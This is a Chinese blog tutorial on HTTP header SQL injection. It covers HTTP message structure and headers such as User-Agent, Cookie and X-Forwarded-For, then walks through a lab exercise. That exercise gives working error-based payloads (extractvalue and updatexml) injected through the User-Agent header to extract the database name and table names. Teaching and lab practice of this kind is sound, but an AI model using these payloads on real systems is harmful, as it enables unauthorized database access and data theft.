HTTP头部注入

40 篇文章 35 订阅
32 篇文章 14 订阅

HTTP Header概述

HTTP工作原理

HTTP报文类型

  • 请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-Line)、请求头域(Header-Field)和请求体(Entity-Body)
  • 响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-Line)、响应头域(Header-Field)和响应体(Entity-Body)

HTTP请求报文组成

HTTP请求方法

 HTTP响应报文组成

 HTTP响应消息状态码

 HTTP Header内容

  • User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
  • Cookie: 网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)
  • Host:客户端指定自己想访问的Web服务器的域名/IP 地址和端口号。
  • X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
  • Client-IP:同上。
  • Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。

  HTTP Header注入

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。

 HTTP Header注入的前提条件

  • 能够对请求头消息进行修改
  • 修改的请求头信息能够带入数据库执行
  • 数据库没有对输入的请求头做过滤

常见的HTTP Header注入类型

  • Cookie注入
  • Referer注入
  • User-Agent注入
  • XFF注入 

 HTTP Header注入实例

判断注入类型

在尝试GET方法都失败后,我们判断其为POST方法

使用burp抓包

 页面输入正确的用户名密码后会回显用户代理User Agent头

 所以判断其为UA注入

在UA头后面添加' 出现报错信息,可以注入

 经过测试和查看源代码 有多种构造payload的方法

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
' and 1 and '
' or 1 or '
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0','','')#

 尝试使用order by 失败 所以使用报错函数注入

 获取网站库名

User-Agent: 'and extractvalue(1,concat('~',database())) ,'','')#
User-Agent:' and 1 and extractvalue(1,concat('~',database())) and '

获取表名

1' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),'','')#
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),'','')#

 注意:这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#

1' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and '
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and '

注意:因为这里or的语法,User-Agent应为空。而步骤1成功的原因不确定,教程中也为空但没有影响,猜测是数据库版本的问题。

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值